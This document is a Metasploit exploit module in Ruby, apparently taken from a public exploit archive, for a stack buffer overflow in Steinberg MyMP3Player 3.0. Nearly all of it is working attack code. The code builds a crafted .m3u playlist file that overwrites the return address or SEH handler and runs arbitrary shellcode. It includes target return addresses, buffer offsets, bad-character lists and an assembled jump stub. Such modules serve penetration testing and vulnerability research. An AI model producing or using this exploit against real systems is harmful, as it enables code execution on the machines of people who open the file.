Steinberg MyMP3Player 3.0 - Buffer Overflow



##

# $Id: mymp3player_m3u.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = GoodRanking

    include Msf::Exploit::FILEFORMAT

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Steinberg MyMP3Player 3.0 Buffer Overflow',
            'Description'    => %q{
                    This module exploits a stack buffer overflow in Steinberg MyMP3Player == 3.0. When
                the application is used to open a specially crafted m3u file, a buffer overflow occurs
                allowing arbitrary code execution.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'n3w7u', # original
                    'm_101'
                ],
            'Version'        => '$Revision: 10998 $',
            'References'     =>
                [
                    [ 'OSVDB', '64580'],
                    [ 'URL', 'http://www.exploit-db.com/exploits/11791' ],
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'true',
                },
            'Payload'        =>
                {
                    'Space'    => 900,
                    'BadChars' => "\x00\x0a\x0d\x5c",
                    'DisableNops'  => true,
                    'PrependEncoder' => "\x81\xc4\xf0\xef\xff\xff"
                },
            'Platform' => 'win',
            'Targets'        =>
                [
                    [ 'Windows Universal', { 'Ret' => 0x0043bea3 } ],        # call ecx in My MP3.exe v3.0.0.67
                    [ 'Windows Universal (SEH)', { 'Ret' => 0x00403e68 } ],  # p/p/r in My MP3.exe v3.0.0.67
                    [ 'Windows XP SP3 French', { 'Ret' => 0x72c6170b } ], # seh return in msacm.drv
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Mar 18 2010',
            'DefaultTarget'  => 0))

        register_options(
            [
                OptString.new('FILENAME', [ false, 'The file name.', 'msf.m3u']),
            ], self.class)

    end

    def exploit

        # direct ret overwrite at offset 1024
        # nseh overwrite at offset 1040
        ret_offset = 1024
        seh_offset = 1040

        # start with the payload
        m3u = payload.encoded

        if (target.name =~ /SEH/)
            m3u << rand_text_alphanumeric(seh_offset - m3u.length)
            # ensure bad,no-nul addr for ret (trigger SEH)
            m3u[ret_offset,4] = [0xc0010101 | rand(0xffffffff)].pack('V')

            # We utilize a small stub near the end of the buffer space to
            # continue to the real shellcode...
            # NOTE: the push is to avoid a badchar (0x5c)
            stub = <<-EOF
push ecx
sub esp,-0x1a8
ret
EOF
            stub = Metasm::Shellcode.assemble(Metasm::Ia32.new, stub).encode_string
            m3u[seh_offset - stub.length, stub.length] = stub

            # Jump back to the stub
            jmp2 = Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + stub.length.to_s).encode_string
            seh = ''
            seh << jmp2
            seh << rand_text(2)
            seh << [target.ret].pack('V')
            m3u << seh
        else
            m3u << rand_text_alphanumeric(1024 - m3u.length)
            m3u << [target.ret].pack('V')
        end

        print_status("Creating '#{datastore['FILENAME']}' file ...")

        file_create(m3u)

    end

end